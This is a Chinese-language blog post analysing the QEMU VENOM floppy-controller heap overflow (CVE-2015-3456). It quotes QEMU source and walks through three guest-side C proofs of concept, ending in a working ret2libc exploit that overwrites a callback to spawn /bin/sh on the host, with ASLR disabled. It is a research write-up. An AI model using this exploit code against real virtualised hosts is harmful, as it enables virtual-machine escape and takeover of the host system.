2015-06-26

本文主要是对VENOM漏洞的原理进行分析,并且在关ASLR的情况下利用ret2lib的方式进行了利用。本文实验环境为Ubuntu 12.04 x86,kernel 3.2.57 ,qemu版本为2.2.0-rc1,实验室现成的开发机环境。

##1. 漏洞简介

VENOM,CVE-2015-3456是由CrowdStrike的Jason Geffner发现的存在于QEMU虚拟软驱中的漏洞。由于QEMU的设备模型被KVM、Xen等虚拟化软件广泛使用,影响还是比较大的,攻击者利用该漏洞能够使虚拟机逃逸,在宿主机中执行代码。

##2. 漏洞触发

根据mj提交在360官方技术Blog上的文章,原始poc可能会对触发有影响,我这里也没成功,就用了文中的poc。(下文有些内容也是从该文中学习的,有些重复只是为了保证本文完整性)运行poc之后,虚拟机进程崩溃。第一版poc及崩溃效果如下:

#include <sys/io.h>
#include <stdio.h>

#define FIFO 0x3f5

int main()
{
	int i;
	iopl(3);
	outb(0x08e,0x3f5);
	for(i = 0;i < 10000000;i++)
		outb(0x42,0x3f5);
	return 0;
}

eip的值为42424242,猜测eip可以控制。下面结合mj的文章对漏洞做简要分析。

##3. 漏洞分析

如poc中所示,除了iopl调用获得对端口的操作权限以外,qemu都在执行outb指令,这会引发vm exit,陷入内核中,交给kvm模块处理,kvm模块会将该io操作派给qemu处理,大致流程就是这样,代码层面的分析此处略(我个人也不敢说完全懂)。在poc中,都是在向DATA_FIFO端口写数据。在qemu源代码中hw/block/fdc.c文件中:

static const struct {
    uint8_t value;
    uint8_t mask;
    const char* name;
    int parameters;
    void (*handler)(FDCtrl *fdctrl, int direction);
    int direction;
} handlers[] = {
    { FD_CMD_READ, 0x1f, "READ", 8, fdctrl_start_transfer, FD_DIR_READ },
    { FD_CMD_WRITE, 0x3f, "WRITE", 8, fdctrl_start_transfer, FD_DIR_WRITE },
    { FD_CMD_SEEK, 0xff, "SEEK", 2, fdctrl_handle_seek },
    { FD_CMD_SENSE_INTERRUPT_STATUS, 0xff, "SENSE INTERRUPT STATUS", 0, fdctrl_handle_sense_interrupt_status },
    { FD_CMD_RECALIBRATE, 0xff, "RECALIBRATE", 1, fdctrl_handle_recalibrate },
    { FD_CMD_FORMAT_TRACK, 0xbf, "FORMAT TRACK", 5, fdctrl_handle_format_track },
    { FD_CMD_READ_TRACK, 0xbf, "READ TRACK", 8, fdctrl_start_transfer, FD_DIR_READ },
    { FD_CMD_RESTORE, 0xff, "RESTORE", 17, fdctrl_handle_restore }, /* part of READ DELETED DATA */
    { FD_CMD_SAVE, 0xff, "SAVE", 0, fdctrl_handle_save }, /* part of READ DELETED DATA */
    { FD_CMD_READ_DELETED, 0x1f, "READ DELETED DATA", 8, fdctrl_start_transfer_del, FD_DIR_READ },
    { FD_CMD_SCAN_EQUAL, 0x1f, "SCAN EQUAL", 8, fdctrl_start_transfer, FD_DIR_SCANE },
    { FD_CMD_VERIFY, 0x1f, "VERIFY", 8, fdctrl_start_transfer, FD_DIR_VERIFY },
    { FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f, "SCAN LOW OR EQUAL", 8, fdctrl_start_transfer, FD_DIR_SCANL },
    { FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f, "SCAN HIGH OR EQUAL", 8, fdctrl_start_transfer, FD_DIR_SCANH },
    { FD_CMD_WRITE_DELETED, 0x3f, "WRITE DELETED DATA", 8, fdctrl_start_transfer_del, FD_DIR_WRITE },
    { FD_CMD_READ_ID, 0xbf, "READ ID", 1, fdctrl_handle_readid },
    { FD_CMD_SPECIFY, 0xff, "SPECIFY", 2, fdctrl_handle_specify },
    { FD_CMD_SENSE_DRIVE_STATUS, 0xff, "SENSE DRIVE STATUS", 1, fdctrl_handle_sense_drive_status },
    { FD_CMD_PERPENDICULAR_MODE, 0xff, "PERPENDICULAR MODE", 1, fdctrl_handle_perpendicular_mode },
    { FD_CMD_CONFIGURE, 0xff, "CONFIGURE", 3, fdctrl_handle_configure },
    { FD_CMD_POWERDOWN_MODE, 0xff, "POWERDOWN MODE", 2, fdctrl_handle_powerdown_mode },
    { FD_CMD_OPTION, 0xff, "OPTION", 1, fdctrl_handle_option },
    { FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATION COMMAND", 5, fdctrl_handle_drive_specification_command },
    { FD_CMD_RELATIVE_SEEK_OUT, 0xff, "RELATIVE SEEK OUT", 2, fdctrl_handle_relative_seek_out },
    { FD_CMD_FORMAT_AND_WRITE, 0xff, "FORMAT AND WRITE", 10, fdctrl_unimplemented },
    { FD_CMD_RELATIVE_SEEK_IN, 0xff, "RELATIVE SEEK IN", 2, fdctrl_handle_relative_seek_in },
    { FD_CMD_LOCK, 0x7f, "LOCK", 0, fdctrl_handle_lock },
    { FD_CMD_DUMPREG, 0xff, "DUMPREG", 0, fdctrl_handle_dumpreg },
    { FD_CMD_VERSION, 0xff, "VERSION", 0, fdctrl_handle_version },
    { FD_CMD_PART_ID, 0xff, "PART ID", 0, fdctrl_handle_partid },
    { FD_CMD_WRITE, 0x1f, "WRITE (BeOS)", 8, fdctrl_start_transfer, FD_DIR_WRITE }, /* not in specification ; BeOS 4.5 bug */
    { 0, 0, "unknown", 0, fdctrl_unimplemented }, /* default handler */
};

与poc有关的FIFO命令为:

FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e

另一个42是作为该命令的参数传递给handler的,这里是

fdctrl_handle_drive_specification_command

当qemu接到了FIFO命令之后,通过命令ID找到找到handlers数组中位置,然后根据参数个数继续接受参数,将命令ID和参数放到一个buffer中。当参数接受完了之后,调用相应的处理函数。整个FIFO写操作都在fdctrl_write_data函数中。

static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
{
...
	//处理命令
    if (fdctrl->data_pos == 0) {
        /* Command */
        pos = command_to_handler[value & 0xff];
        FLOPPY_DPRINTF("%s command\n", handlers[pos].name);
        fdctrl->data_len = handlers[pos].parameters + 1;
        fdctrl->msr |= FD_MSR_CMDBUSY;
    }

    //将命令和参数保存在fdctrl->fifo中
    fdctrl->fifo[fdctrl->data_pos++] = value;
    if (fdctrl->data_pos == fdctrl->data_len) {
        /* We now have all parameters
         * and will be able to treat the command
         */
        if (fdctrl->data_state & FD_STATE_FORMAT) {
            fdctrl_format_sector(fdctrl);
            return;
        }

        pos = command_to_handler[fdctrl->fifo[0] & 0xff];
        FLOPPY_DPRINTF("treat %s command\n", handlers[pos].name);
        (*handlers[pos].handler)(fdctrl, handlers[pos].direction);
    }
}

当所需的参数收集完了之后,调用对应的处理函数,8e对应的是fdctrl_handle_drive_specification_command:

static void fdctrl_handle_drive_specification_command(FDCtrl *fdctrl, int direction)
{
    FDrive *cur_drv = get_cur_drv(fdctrl);

    if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x80) {
        /* Command parameters done */
        if (fdctrl->fifo[fdctrl->data_pos - 1] & 0x40) {
            fdctrl->fifo[0] = fdctrl->fifo[1];
            fdctrl->fifo[2] = 0;
            fdctrl->fifo[3] = 0;
            fdctrl_set_fifo(fdctrl, 4);
        } else {
            fdctrl_reset_fifo(fdctrl);
        }
    } else if (fdctrl->data_len > 7) {
        /* ERROR */
        fdctrl->fifo[0] = 0x80 |
            (cur_drv->head << 2) | GET_CUR_DRV(fdctrl);
        fdctrl_set_fifo(fdctrl, 1);
    }
}

通过控制传入fifo中的数据我们绕过这两个if判断语句,也就不会有fdctrl_set_fifo和fdctrl_reset_fifo的调用,这两个函数正是对fifo缓冲区进行清空和控制是否可写的函数。这样就能够调用outb无限向fifo缓冲区写数据,fifo是通过malloc分配的512字节空间,当超过512就会覆盖其他的数据,造成程序崩溃。

##4. eip定位

一般情况下,进程的堆离代码段是非常远的,并且heap在高地址空间而text在低地址空间,更不可能直接通过溢出堆空间修改eip。该漏洞通过堆溢出覆盖了eip,估计是覆盖了堆中动态分配的某些数据结构,这些数据结构会影响到eip。linux下面没有找到类似Immunity dbg的神器,要么自己写pattern文件定位eip,要么手工。由于实验用的虚拟机没弄网络,自己拷文件进去比较麻烦,就自己手工定位eip了。用二分法定位了20多分钟基本就知道大概1550个字节左右就会触发漏洞。这里有一个问题,导致我最开始以为eip不稳定。每次触发漏洞之后会导致poc被删除,然后我再开启虚拟机运行那个已经没有内容的poc,当然不会触发漏洞了(关于这个问题,后面会再说)。覆盖eip的位置大致定了之后就上gdb了,通过调试,最后确定1516个字节之后的4个字节就是覆盖eip的位置。poc第二版及崩溃后的eip截图如下:

#include <sys/io.h>
#include <stdio.h>

#define FIFO 0x3f5


int main()
{
	int i;
	iopl(3);
	outb(0x08e,0x3f5);
	for(i = 0;i < 1515;i++)
		outb(0x42,0x3f5);
	for(i = 0;i < 4;i++)
		outb(0x43,0x3f5);
	for(i = 0;i < 50;++i)
		outb(0x44,0x3f5);
	return 0;
}

我们看到进程如期崩溃,eip为43434343,定位精准。

##5. 原理分析

如第四部分所言,单纯的覆盖堆缓冲区是不能直接覆盖到eip的。本部分对覆盖到eip的原因进行分析。 gdb启动qemu进程,设置参数之后开始run,在虚拟机里面运行poc。

虚拟机如期崩溃,bt显示最后一个函数是在async.c文件里面的aio_bh_poll里面82行。

aio_bh_poll 82行调用的是bh->cb(bh->opaque);,这条语句调用的是QEMUBH结构体中的保存的一个回调函数,现在情况就比较明了了,QEMUBH内部通过next形成的链表,每个QEMUBH的内存空间通过malloc分配在虚拟机对应的进程堆上面,挨着fdctrl->fifo的一个QEMUBH被覆盖了,导致aio_bh_poll执行里面的callback的时候遇到错误的eip地址。经过分析,大概的图如下:

在分析该部分的时候,了解了一下,aio的poll是在主线程里面做的,专门处理某种block的IO。

##6. 漏洞利用

知道了漏洞的细节之后,下一步就是利用了。qemu程序非常大,堆里面申请的数据非常多,基本上可以说对加载的payload大小没啥限制。对eip的完全控制和payload几乎没有限制,如果能够过掉ASLR和DEP,相信会是一个非常完美的利用,利用虚拟机进程执行任意代码。第一次写Linux的exp,对linux的ASLR和DEP绕过技术不太熟(Windows也好久不搞了,不过我记得方法是不少的),在网上找了好久Linux进行ROP的文章,但是都太老了,在所有模块加载基址都随机化的情况下,感觉需要针对具体漏洞的特定得到模块或者某个函数的地址,才能进一步走下去。于是,我就只能关掉了ASLR。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

暂时不考虑过ASLR,就简单利用ret2lib,通过system去执行/bin/sh。之前考虑怎么布置参数,本来想着可能还要转换栈的,后来灵光一下,发现覆盖的那个callback后面就是其参数。太巧了,只需要找到/bin/sh的地址布置在eip之后就可以了。下图为寻找system函数和”/bin/sh”字符串的过程。

下面是poc的第三版

#include <sys/io.h>
#include <stdio.h>

#define FIFO 0x3f5


int main()
{
	int i;
	iopl(3);
	outb(0x08e,0x3f5);
	for(i = 0;i < 1515;i++)
		outb(0x42,0x3f5);
	outb(0x10,0x3f5);
	outb(0xce,0x3f5);
	outb(0xe6,0x3f5);
	outb(0xb7,0x3f5);
	outb(0xb8,0x3f5);
	outb(0x50,0x3f5);
	outb(0xe1,0x3f5);
	outb(0xb7,0x3f5);
	for(i = 0;i < 50;++i)
		outb(0x44,0x3f5);
	return 0;
}

最后的poc效果如下,先在虚拟机中运行poc,然后宿主机中对应的qemu进程开启了/bin/sh。

##7. 遗留问题

  1. poc在虚拟机运行期间只能执行一次,再次开机运行需要重新编译。最开始进行漏洞重现的时候,有的时候能崩溃,有的时候不能,以为eip被覆盖的位置不能准确定位(毕竟溢出heap上再加上ASLR)。后来发现是因为每次运行poc之后,poc里面的内容都会被清0,啥都没有,再次开启虚拟机执行,当然不能成功。所以每次都要重新编译一次。后来想了一下,估计是虚拟机崩溃时候,内核的状态有问题,导致正在运行的进程image会被清空,后来写了个while(1)死循环的test程序执行,然后运行poc,test程序文件果然被清空了,算是验证了猜想。感觉这个确实很棘手,但是并不好解决,想到的一个猥琐方案是,运行poc之前把自己复制一份。
  2. ASLR的问题。感觉只要能够bypass ASLR,剩下ROP链的构造应该问题不大,应该能够达到执行任意代码的目的。所以这个漏洞还是有点厉害。

##8. 遇到的问题及解决

  1. 定位eip。linux方面没写自己手动写过exp,只用过metasploit工具,以前Windows都是Immunity debugger找eip,这里只能用二分法大概试。
  2. 试着在heap上部署过shellcode,payload的中间有的字节有时会被覆盖,估计是进程在处理堆的时候,会操作一些数据,以后部署的时候要注意。

##9. 参考

  1. VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

顺便说一句360的技术Blog是非常不错的,从上面mj,pjf,wowocock等大牛那里学到很多东西。

  1. 一步一步学ROP之linux_x86篇


blog comments powered by Disqus